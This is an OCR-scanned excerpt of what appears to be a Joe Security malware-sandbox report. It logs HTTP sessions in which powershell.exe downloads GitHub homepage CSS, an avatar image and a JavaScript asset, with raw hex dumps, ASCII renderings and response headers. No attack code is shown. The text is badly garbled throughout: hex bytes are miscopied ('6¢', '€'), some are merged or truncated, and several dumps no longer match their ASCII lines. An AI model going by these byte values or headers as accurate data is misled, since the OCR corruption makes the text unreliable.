61 74 72 69 78 2d 63 6f 6d 70 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61 74 65 20 2e 68 6f 6d 65 2d 6d 61 74 72 69
782d 74 65 73 74 7b 76 69 73 69 62 69 6¢ 69 74 79 3a 76 69 73 69 62

Data Ascii: 0%;width:140%;transform:translateX(-50%)}}.home-matrix-comp.build-in-animate .home-matrix-build{visibility:v
isible;animation:.6s cubic-bezier(0.16, 1, 0.3, 1) home-matrix-build forwards}.home-matrix-comp.build-in-animate .home-m
atrix-test{visibility:visib

Data Raw: 7b 76 69 73 69 62 69 6¢ 69 74 79 3a 76 69 73 69 62 6¢ 65 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6¢ 61 79
3a332e 36 73 7d 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61 74 65 20 2e 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 73 75
63 6365 73 73 2d 33 7b 76 69 73 69 62 69 6¢ 69 74 79 3a 76 69 73 69 62 6¢ 65 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64
65 6¢ 61 79 3a 34 73 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 68 6 77 2d 68 69 64 65 7b 30 25 7b 76 69 73 69 62 69 6C 6
97479 3a 68 69 64 64 65 6e 7d 31 30 30 25 7b 76 69 73 69 62 69 6¢ 69 74 79 3a 76 69 73 69 62 6¢ 65 7d 7d 40 6b 65
79 66 72 61 6d 65 73 20 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 62 75 69 6¢ 64 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b
7472 61 6e 73 66 6f 72 6d 3a 73 63 61 6¢ 65 33 64 28 30 2e 39 33 2¢ 20

Data Ascii: {visibility:visible;transition-delay:3.6s}.build-in-animate .home-matrix-success-3{visibility:visible;transition-delay
:4s}@keyframes show-hide{0%/{visibility:hidden}100%{visibility:visible}}@keyframes home-matrix-build{0%{opacity
:0;transform:scale3d(0.93,

Data Raw: 6¢ 6f 72 2d 6e 65 75 74 72 61 6¢ 2d 6d 75 74 65 64 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25
7d 2e 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 2d 72 69 67 68 74 7b 72 69 67 68 74 3a 2d 36
70 78 3b 6¢ 65 66 74 3a 61 75 74 6f 7d 2e 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 2d 72 69 67
68 74 20 2e 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 62 67 7b 72 69 67 68 74 3a 30 7d 2e 68 6f
6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 2d 72 69 67 68 74 20 2e 68 6f 6d 65 2d 6d 61 74 72 69 78
2d 63 6f 6e 6e 65 63 74 6f 72 2d 62 67 3a 3a 62 65 66 6f 72 65 7b 72 69 67 68 74 3a 31 70 78 7d 2e 68 6f 6d 65 2d 6d 61
7472 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 62 67 7b 70 6f 73

Data Ascii: lor-neutral-muted);border-radius:50%}.home-matrix-connector--right{right:-6px;left:auto}.home-matrix-connect
or--right .home-matrix-connector-bg{right:0}.home-matrix-connector--right .home-matrix-connector-bg::before{right:1px}.h
ome-matrix-connector-bg{pos

Data Raw: 6f 6e 73 2d 73 75 63 63 65 73 73 7b 66 72 6f 6d 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20
302030 20 30 20 76 61 72 28 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 65 6d 70 68 61 73 69 73 29 7d 74 6f 7b
62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 31 37 30 70 78 20 76 61 72 28 2d 2d 63 6f 6¢ 6f 72
2d 7375 63 63 65 73 73 2d 65 6d 70 68 61 73 69 73 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 68 6f 6d 65 2d 61 63 74
69 6f 6e 73 2d 73 75 63 63 65 73 73 2d 63 68 65 63 6b 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 7
26d 3a 747261 6e 73 6¢ 61 74 65 28 35 30 25 2c 20 38 37 25 29 20 73 63 61 6¢ 65 33 64 28 30 2e 39 2c 20 30 2e 39
2c 20 30 2e 3929 7d 39 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72

Data Ascii: ons-success{from{box-shadow:inset 0 0 0 0 var(--color-success-emphasis)}to{box-shadow:inset 0 0 0 170px
var(--color-success-emphasis)}}@keyframes home-actions-success-check{0%{opacity:0;transform:translate(50%, 87%) sc
ale3d(0.9, 0.9, 0.9)}90%{transform:tr

Data Raw: 63 2d 62 65 7a 69 65 72 28 30 2e 31 36 2c 20 31 2c 20 30 2e 33 2c¢ 20 31 29 20 68 6f 6d 65 2d 63 6f 64 65 71
6¢c 2d 73 74 65 70 2d 33 20 66 6f 72 77 61 72 64 73 7d 2e 68 6f 6d 65 2d 63 6f 64 65 71 6¢ 2d 63 6f 6d 70 2e 62 75 69 6¢
64 2d 69 6e 2d 61 6e 69 6d 61 74 65 20 2e 68 6f 6d 65 2d 63 6f 64 65 71 6¢ 2d 64 65 73 63 72 69 70 74 69 6f 6€ 7b 6f 70
616369 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 59 28 30 29 7d 2e 62 75 69 6¢ 64 2d
69 6e 2d 61 6e 69 6d 61 74 65 20 2e 68 6f 6d 65 2d 63 6f 64 65 71 6¢ 2d 73 74 65 70 2d 31 7b 76 69 73 69 62 69 6C 69
7479 3a 76 69 73 69 62 6¢ 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 36 35 70 78 20 72 67 62 61 28 32 33 37 2
€ 37 38 2¢ 38 30 2c 2e 34 29 2c 30 20 30 20 30 20 31 70 78 20 72

Data Ascii: c-bezier(0.16, 1, 0.3, 1) home-codeql-step-3 forwards}.home-codeql-comp.build-in-animate .home-codeql-
description{opacity:1;transform:translateY (0)}.build-in-animate .home-codeql-step-1{visibility:visible;box-shadow:0 0 65px
rgha(237,78,80,.4),0 0 0 1px r

Data Raw: 64 65 71 6c 2d 73 74 65 70 2d 31 20 66 6f 72 77 61 72 64 73 7d 2e 68 6f 6d 65 2d 63 6f 64 65 71 6¢ 2d 73 74
65 70 2d 32 7b 6¢ 65 66 74 3a 35 30 25 3b 77 69 64 74 68 3a 39 33 25 3b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 2d 34 36
2e 3525 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 59 28 2d 32 2e 33 72 65 6d 29 7d 2e 68 6f 6d 65
2d 63 6f 64 65 71 6¢ 2d 73 74 65 70 2d 33 7h 6¢ 65 66 74 3a 35 30 25 3b 77 69 64 74 68 3a 38 37 25 3b 6d 61 72 67 69
6e 2d 6¢ 65 66 74 3a 2d 34 33 2e 35 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 59 28 2d 34 2e 34
72 65 6d 29 7d 2e 68 6f 6d 65 2d 63 6f 64 65 71 6¢ 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 6f 70 61 63 69 74 79 3a 30 3b
7472 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 2e 36

Data Ascii: deql-step-1 forwards}.home-codeq|-step-2{left:50%;width:93%;margin-left:-46.5%;transform:translateY (-
2.3rem)}.home-codeql-step-3{left:50%;width:87%;margin-left:-43.5%;transform:translate Y (-4.4rem)}.home-codeql-descript
ion{opacity:0;transition:transform .6

Data Raw: 65 6e 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 36 35 70 78 20 72 67 62 61 28 32 33 37 2c 37 38 2c 38
30 2c 2e 34 29 2¢ 30 20 30 20 30 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 32 35 35 2¢ 32 35 35 2¢ 2e 31 29 2¢ 30 20
3270782032 7078207267 626128 30 2c 30 2¢ 30 2¢ 2e 30 33 29 2¢ 30 20 34 70 78 20 34 70 78 20 72 67 62 61 28
30 2¢ 30 2¢ 30 2c¢ 2e 30 34 29 2¢ 30 20 31 30 70 78 20 38 70 78 20 72 67 62 61 28 30 2c 30 2¢ 30 2c 2e 30 35 29 2¢ 30 2
031357078203135707820 7267 62612830 2c 30 2c 30 2c 2e 30 36 29 2¢ 30 20 33 30 70 78 20 33 30 70 78 20
72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 37 29 2c 30 20 37 30 70 78 20 36 35 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c
2e 3039 29 7d 2e 68 6f 6d 65 2d 73 65 63 72 65 74 2d 6¢ 69 73 74 7b 76

Data Ascii: en;box-shadow:0 0 65px rgba(237,78,80,.4),0 0 0 1px rgha(255,255,255,.1),0 2px 2px rgha(0,0,0,.03),0 4px
4px rgbha(0,0,0,.04),0 10px 8px rgbha(0,0,0,.05),0 15px 15px rgba(0,0,0,.06),0 30px 30px rgha(0,0,0,.07),0 70px 65px
rgba(0,0,0,.09)}.home-secret-list{v
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kBytes

Timestam
P transferred

2022-04-20 13:07:36 UTC 1057

2022-04-20 13:07:36 UTC 1059

2022-04-20 13:07:36 UTC 1060

2022-04-20 13:07:36 UTC 1061

2022-04-20 13:07:36 UTC 1063

Session ID Source IP
14 192.168.2.4
. kBytes
Tim m|
imestamp transferred

2022-04-20 13:07:36 UTC 1064

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49768

Direction

ouT

Data

Data Raw: 74 79 3a 76 69 73 69 62 6¢ 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 2e 34 73 20 63 75 62 69 63 2d 62 65 7a 69 65
7228 30 2e 31 36 2c 20 31 2c 20 30 2e 33 2c¢ 20 31 29 20 68 6f 6d 65 2d 63 6f 6d 6d 75 6e 69 74 79 2d 63 61 72 64 73
2d 3220 66 6f 72 77 61 72 64 73 7d 2e 68 6f 6d 65 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 63 6f 6d 70 2e 62 75 69 6¢ 64
2d 69 6e 2d 61 6e 69 6d 61 74 65 20 2e 68 6f 6d 65 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 32 20 2e 68 6f 6d 65 2d 64
69 73 63 75 73 73 69 6f 6e 73 2d 63 68 65 63 6b 2d 30 7b 61 6e 69 6d 61 74 69 6f 6 2d 64 65 6¢ 61 79 3231 22 3573 7
d 2e 68 6f 6d 65 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 63 6f 6d 70 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61 74 65
20 2e 68 6f 6d 65 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 61 6e 73

Data Ascii: ty:visible;animation:.4s cubic-bezier(0.16, 1, 0.3, 1) home-community-cards-2 forwards}.home-discussions-
comp.build-in-animate .home-discussions-2 .home-discussions-check-O{animation-delay:1.5s}.home-discussions-comp.b
uild-in-animate .home-discussions-ans

Data Raw: 73 2d 63 68 65 63 6b 2d 31 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61
6¢ 65 33 64 28 30 2e 35 2¢ 20 30 2e 35 2¢ 20 30 2e 35 29 20 74 72 61 6e 73 6¢ 61 74 65 33 64 28 30 2c 20 30 2c 20 30
292072 6f 74 61 74 65 28 30 29 7d 34 35 25 7b 6f 70 61 63 69 74 79 3a 30 7d 35 30 25 7b 6f 70 61 63 69 74 79 3a 2e
3235 7d 31303025 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6¢ 65 33 64 28 31 2e 32 2
€20 31 2e 32 2c 20 31 2e 32 29 20 74 72 61 6e 73 6¢ 61 74 65 33 64 28 2d 32 35 25 2¢ 20 2d 31 36 30 25 2¢ 20 30 29
20 72 6f 74 61 74 65 28 2d 32 35 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 68 6f 6d 65 2d 64 69 73 63 75 73
73 69 6f 6e 73 2d 63 68 65 63 6b 2d 32 7b 30 25 7b 6f 70 61 63 69 74 79

Data Ascii: s-check-1{0%{opacity:0;transform:scale3d(0.5, 0.5, 0.5) translate3d(0, 0, 0) rotate(0)}45%({opacity:0}50%{opa
city:.25}100%{opacity:0;transform:scale3d(1.2, 1.2, 1.2) translate3d(-25%, -160%, 0) rotate(-25deg)}}@keyframes home-
discussions-check-2{0%{opacity

Data Raw: 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 34 73 7d 2e 68 6f 6d 65 2d 73 70 6f 6e 73 6f 72 73 2d 63 6f
6d 70 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61 74 65 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 68 6f 6d 65 2d 73 70 6f
6e 73 6f 72 73 2d 63 6f 6d 70 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61 74 65 20 2e 68 6f 6d 65 2d 73 70 6f 6e 73 6f
7273 2d 31 7b 76 69 73 69 62 69 6¢ 69 74 79 3a 76 69 73 69 62 6¢ 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 2e 34 73 20 63
75 6269 63 2d 62 65 7a 69 65 72 28 30 2e 31 36 2c 20 31 2c 20 30 2e 33 2c 20 31 29 20 68 6f 6d 65 2d 63 6f 6d 6d 75
6e 69 74 79 2d 63 61 72 64 73 2d 31 20 66 6f 72 77 61 72 64 73 7d 2e 68 6f 6d 65 2d 73 70 6f 6e 73 6f 72 73 2d 63 6f 6d
70 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61 74 65 20 2e 68

Data Ascii: nsition:opacity .4s}.home-sponsors-comp.build-in-animate{opacity:1}.home-sponsors-comp.build-in-animate
.home-sponsors-1{visibility:visible;animation:.4s cubic-bezier(0.16, 1, 0.3, 1) home-community-cards-1 forwards}.home-
sponsors-comp.build-in-animate .h

Data Raw: 64 2d 69 6e 2d 61 6e 69 6d 61 74 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 36 73 20 63 75 62 69 63 2d 62 65 7a
69 65 72 28 30 2e 35 33 35 2¢ 20 30 2e 31 35 2¢ 20 30 2e 34 32 35 2c 20 31 29 20 2d 32 73 20 68 6f 6d 65 2d 73 70 6f
6e 73 6f 72 73 2d 68 65 61 72 74 2d 33 20 69 6e 66 69 6e 69 74 65 7d 40 6b 65 79 66 72 61 6d 65 73 20 68 6f 6d 65 2d 6
3 6f6d 6d 75 6e 69 74 79 2d 63 61 72 64 73 2d 31 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65
3364 2837252c203132252c 203029 7d 31303025 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65
3364 2830 2c 20 30 2¢ 20 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 68 6f 6d 65 2d 63 6f 6d 6d 75 6e 69 74 79 2d
63617264 732d 32 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61

Data Ascii: d-in-animate{animation:6s cubic-bezier(0.535, 0.15, 0.425, 1) -2s home-sponsors-heart-3 infinite}@keyframes
home-community-cards-1{0%{transform:translate3d(7%, 12%, 0)}100%f{transform:translate3d(0, 0, 0)}}@keyframes ho
me-community-cards-2{0%f{transform:tra

Data Raw: 74 6f 3b 77 69 64 74 68 3a 31 32 31 36 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 58
283029 7d 7d 2e 68 6f 6d 65 2d 72 65 70 6f 2d 63 61 72 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 30
6331 36 32 64 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 20 2e 34 73 7d 2e 68
6f 6d 65 2d 72 65 70 6f 2d 63 61 72 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 31 39
32353363 7d 2e 72 6f 75 6e 64 65 64 2d 70 69 6¢ 6¢ 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 30 70 78 7d
2e 7061 73 73 77 6f 72 64 2d 76 61 6¢ 69 64 69 74 79 2d 70 69 6¢ 6C 7b 64 69 73 70 6C 61 79 3a 69 6€ 6¢ 69 6e 65 2d
62 6¢ 6f 63 6b 3b 77 69 64 74 68 3a 34 38 70 78 3b 68 65 69 67

Data Ascii: to;width:1216px;transform:translateX(0)}}.home-repo-card{background-color:#0c162d;transition:background-
color .4s}.home-repo-card:hover{background-color:#19253c}.rounded-pill{border-radius:500px}.password-validity-pill
{display:inline-block;width:48px;heig

Destination
Destination IP Esunatio Process
Port

185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /sophshep?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:36 UTC 1065 IN
2022-04-20 13:07:36 UTC 1065 IN
2022-04-20 13:07:36 UTC 1067 IN
2022-04-20 13:07:36 UTC 1068 IN
2022-04-20 13:07:36 UTC 1069 IN
2022-04-20 13:07:36 UTC 1071 IN
2022-04-20 13:07:36 UTC 1072 IN

Session ID Source IP Source Port
15 192.168.2.4 49770

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 8022

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "f6b658265547d2f73b64a79291f2dc3ef78a6df83e5d717edc5f6cfb05f58abe™
Last-Modified: Tue, 04 Jun 2019 03:29:09 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-ld: B4C4:2B72:BB4019:C42A66:6233E042
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6934-MXP

X-Cache: HIT

X-Cache-Hits: 1321

X-Timer: S1650460057.974536,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 7203822fabe61c186b6b236b2d5705bcdObas 79f
Expires: Wed, 20 Apr 2022 13:12:36 GMT

Source-Age: 2893143

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a Oa 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 02 00 00 00 25 0b e6 89 00 00
1f 1d 49 44 41 54 78 9c 54 7a 57 93 65 59 76 d6 5e 6b 9b e3 ee 3d d7 a7 a9 cc 32 5d be dd f4 74 a3 61 5a 31 c8 Oc Oa
le a4 08 08 14 10 88 20 78 €3 0Of f0 cO 1f e1 27 f0 84 7b 11 21 81 1c 42 62 88 09 24 66 a6 a7 bd a9 ee ae aa ae aa ac ac
f4 d7 1e b3 2d b1 f6 c9 2a 86 8c 8c 8e ae cc bc f7 ee bd cc 67 d6 3a e2 9f 5f db af 56 5 ce 64 b4 02 3f b5 76 a7 cc 7e 7e
b6 98 Oe cb 0f 5f 5¢ ec e6 bd dd dd d1 ad 9b 37 7e f4 2f ff a0 2c fb 45 d1 93 52 3a 6b 38 a2 90 92 01 b3 d6 72 ce a5 94 c1
3b 00 08 21 20 03 44 Oc 8c 01 42 db b6 69 96 59 e7 24 e7 6d db 2a a5 9c 73 42 08 16 bf bc 0f 21 04 c6 bc 73 56 08 d1
d6 3a49 12 17 bc f7 be a9 9b 44 29 29 25 40 58 af d7 81 41

Data Ascii: PNGIHDR@@%IDATXxTzWeYv/k=2]taZ1 x'{|Bb$f-*g:_Vd?v~~_\7~/,ER:k8r;! DBiY$m*sB!sV:ID))%@XA

Data Raw: 8d b6 46 3b df 6¢ 1e 7e f2 53 ef 1a 14 3c 02 1f 78 fa Oe ce 33 6b 35 13 99 48 7b 8¢ 81 a3 72 06 ef 08 Ob 42 08
c4 65 42 00 a0 0f be 23 10 fa a6 3b c4 90 43 97 89 98 0a 00 1b 6b 8f fa 1b €9 5b 68 21 0a al 9f 9e cc b9 4a 78 af ff c5 e2
dc f4 ed bc 59 af 6a 33 e9 7 Of ff f8 4f de f9 fe Of f6 ee de 63 1e 18 a2 94 82 23 b4 5a 03 2 cd f9 el 83 bf fd d3 60 96 8c
a7 bd f1 56 7f fb 7a af bf 7b 7e f2 f4 e4 fc Oc 19 eb 79 2f a4 41 64 3e a0 8b 34 04 c8 d7 e7 2f d2 el 55 c3 bc b0 54 15 52
70 86 a2 aa 2a Oe 80 29 a7 3e a3 da e6 bl ce 81 4a 34 d6 bd ef a8 22 a6 82 8a 36 04 1e 29 88 b0 2a 80 c8 ch 41 bb aa
77 c7e3bd 7e fe el el 71 19 70 34 9d 88 55 d2 97 ad 77 6e 78 65 77 be 5a 6e 53 70 2d 18 86 2c 78 4e 2f f6 ce 1e 3e f8
39 d3 8b 40 al b6 eb 93 27 9b 17 8f 1d b2 e0

Data Ascii: F;|I~S<x3k5H{rBeB#;Ck[h!JxY|30c#Z Vz{~y/Ad>4/UTRp*)>J4"6)*Aw~qp4UwnxewZnSp-,xN/>9@"

Data Raw: 7b €3 65 7e cb 97 d7 e8 d8 44 2b d0 71 3c al 18 a5 8f 02 e7 84 92 45 39 bd f1 7a 96 17 10 ec el 62 6d aa 35
b7 3a 53 04 fd 9b f3 a5 Oc 3c 93 Oa 8d b5 ba ad 9a da 7b d7 36 cd ee f5 d7 ca f1 9e ea 0Of 81 c4 27 8fa3 00 1e 19 80 23
1218 d1 3f a3 9e 23 89 41 ff 13 9¢c 23 d1 ea bd 37 ce a2 e0 2e f8 34 4d 19 63 62 d1 54 db c3 61 b5 5a fc e5 d3 c7 bb a3
41 0a d0 22 db e5 c9 1f fd f7 bf 91 bd de d6 79 7e 47 3e 1c 6f 6f 13 c9 28 ba c3 a5 a3 7b f9 85 a4 dd 05 30 42 70 a5 d2 27
8b 23 ef 74 6b 1a 86 72 b2 b7 c7 93 ac d2 ae 6a 36 da 58 eb ad 7 be d5 86 34 49 52 8¢ b6 f6 21 51 31 ba 2a 1e 9a c8 55
08 d5 cd 1b 28 32 52 79 67 01 c0 58 83 9e 71 b2 78 41 08 61 29 fe 80 82 33 47 c5 26 56 ae 3d a9 d7 6f 8e 47 6d 3f df ea
5 37 8b 65 2a 54 bb ac b3 72 b0 f1 78 f6 e2 f8 77 df

Data Ascii: {e~D+q<E9zbm5:S<{6#?#A#7.4AMcbTaZA"y~G>00({0Bp'#tkrj6X4IR!IQ1*U(2RygXqxAa)3G&V=0Gm?7e*Trxw

Data Raw: 28 b5 3a 3f 9d 6e 6f 2b 81 55 dd 18 7a ad b3 c6 ac 96 8b 47 df 7e 99 e6 45 60 e0 82 cb 7a 39 57 aa ec {7 03
08 8b a0 8d 5 Oc 98 69 cO €9 b9 Ob cb da 38 €3 19 13 75 f0 6b 17 b8 50 8¢ 4b 21 b9 b3 6e b5 da a8 3c 4b 7b fd b2 97 e5
69 8e 9c 3f 7d f2 c8 c5 el 52 dd b6 9d 11 ed 16 08 97 2c el 42 b4 a5 a4 5f 3a 8¢ 8a el 97 2¢ 48 9c 8c 46 a7 ad bb 7f e7
ce ac 1c 2e cf 4e 74 55 29 10 99 4a 15 17 b0 58 cf cf 16 ce f8 b6 6e ea 4d 65 9a fa e4 e0 51 39 €8 83 e0 94 5a c1 09 ce
108b 22 27 aa e6 71 9e 2e d5 6a b5 ca 04 b6 1c be 9b cf cf 97 95 d7 4c 31 21 c8 af 28 10 64 56 4c d3 ae 57 eb b6 d9 fO
24 2d c6 db 9c 5e 8b f3 8b 73 €7 22 b7 38 67 2d 5d al 1b a2 c4 c1 35 35 00 19 20 6a 12 de 8d 24 ba 09 1a 39 b2 le 77
e7 55 bd 71 b6 37 18 6¢ 4f a7 e0 1c 20 5f 37 d5 d5 c1 28 bc

Data Ascii: (:?n0+UzG~E z9Wi8ukPK!In<K{i?}R,B_:,HF.NtU)JXnMeQ9Z"q.jL1!(dVLW$-*s"8g-]55 j$9wUq7I0 _7(

Data Raw: 82 84 a4 6d 37 fc cO ce af 5e ae 87 bb 11 49 00 ce 55 d2 ed e5 d9 4b e8 7d d5 94 54 c7 71 2b 16 da 9a 01 bf
3 f6 Of a4 52 f1 75 dd 08 f1 d2 64 be 7c 40 c1 77 3b 91 4e la dl a7 c8 34 3f de ac 4e 4f 8f 14 29 55 96 1a 37 f2 el 76 d9
1f 64 0a 2f 96 8d 69 €8 b5 1c 79 9a b2 98 00 7a 15 d9 60 a7 ad 03 81 be 63 14 32 fc 74 bd 4b 8a €9 4e c9 98 Ob 2e 49
1386 9c 5d 46 1a ba bd af a7 cc 38 17 9¢ 0d c4 b7 ce 58 al eb fd 14 ef df 79 23 ¢9 72 00 ca 18 57 2a ce 85 38 63 3c be
33 e5 b7 9b 2b 5a 6b €9 08 d6 02 a2 78 fc fc 39 4b d4 bc aa e6 a6 39 5d 2d e7 c1 a6 cd 7a d2 f2 24 11 50 Oe e5 b8 8¢ 5b
7254 20 79 cb bb bd 34 a3 0f 05 67 b5 d5 0d 23 45 45 b5 10 af f1 6a 83 7b 39 af 88 db 79 41 55 ¢3 c2 cb 3b b0 58 d3 c4
le 14 4e c6 8c 36 3b 19 de ec 17 eb €5 06 50 f8 38 b2 eb

Data Ascii: m7A UK} Tg+Rud|@w;N4?NO)U7vd/iyz c2tKN.[|F8Xy#rW*Bc<3+Zkx9K9]-z$P[rT y4g#EE{IyAU; XN6;P8

Data Raw: 52 8a c7 de ed 84 10 15 4c 84 51 6b ed a5 fa 8a 4f 73 92 9d b5 4a 0d fb 49 a5 cd da f9 8d a9 a5 50 65 af 5f 33
38 ac 74 52 94 c3 fe 08 18 90 98 0 49 9b 8f db d6 52 2b 81 97 52 14 bd ec ea ac 3f 75 76 50 Oe bc f7 8d d6 c0 60 dO 2f
67 d3 d9 ce 95 ab 6d 80 93 8b 79 5d d5 c7 2f Oe 88 86 7c 88 ab 22 2a 80 66 b9 fc ed 77 ef 96 79 ce 29 cd 71 24 ca 20 29
67 71 3a 4d 96 38 2e 5b 19 35 ae 8f 62 16 39 70 €8 9e af 41 41 54 4d d2 05 b9 4a 52 cc 8a 5e 35 de 72 d6 26 d6 7e 53
d5 72 30 19 8f 27 ¢6 1b 09 a0 03 db 54 4b d3 56 71 b7 80 49 96 9a el b5 8b d6 91 55 09 20 84 50 2a €9 e5 c5 2c 13 ch
a3c35e 9109 cl 97 d5 e6 e8 ec f4 6¢ 7e fe ec €9 33 f4 4¢ 29 d5 68 8d 28 a9 ea db 96 8¢ 27 a0 33 ee 4a 99 5e db 9a f5
f2 a2 23 3b a3 8d e5 39 1f 6d 91 03 Oe 18 17 4d el e5 a8 94

Data Ascii: RLQkOsJIPe_38tRIR+R?uvP /gmy]/|"*fwy)q$ )gq:M8.[Sh9pAATMIRASr&~SI0'TKVqIU P*A~3L)h('3J°#,9mM

Destination IP Destination Process
Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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Direction

ouT

Data

GET /assets/environment-bec046a69997.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 19643

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Thu, 07 Apr 2022 19:06:14 GMT

ETag: "e9d0faad7b561a2838dbbdf897011ece"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Age: 1101486

X-Served-By: cache-iad-kiad7000040-1AD, cache-mxp6947-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-1D: 1966400a3d011ebf76e724cbald43ebc82824d7d

Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 65 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76
61 72 20 65 3d 28 49 2c 72 29 3d 3e 65 65 28 49 2c 22 6e 61 6d 65 22 2¢ 7b 76 61 6C 75 65 3a 72 2c 63 6f 6e 66 69 67
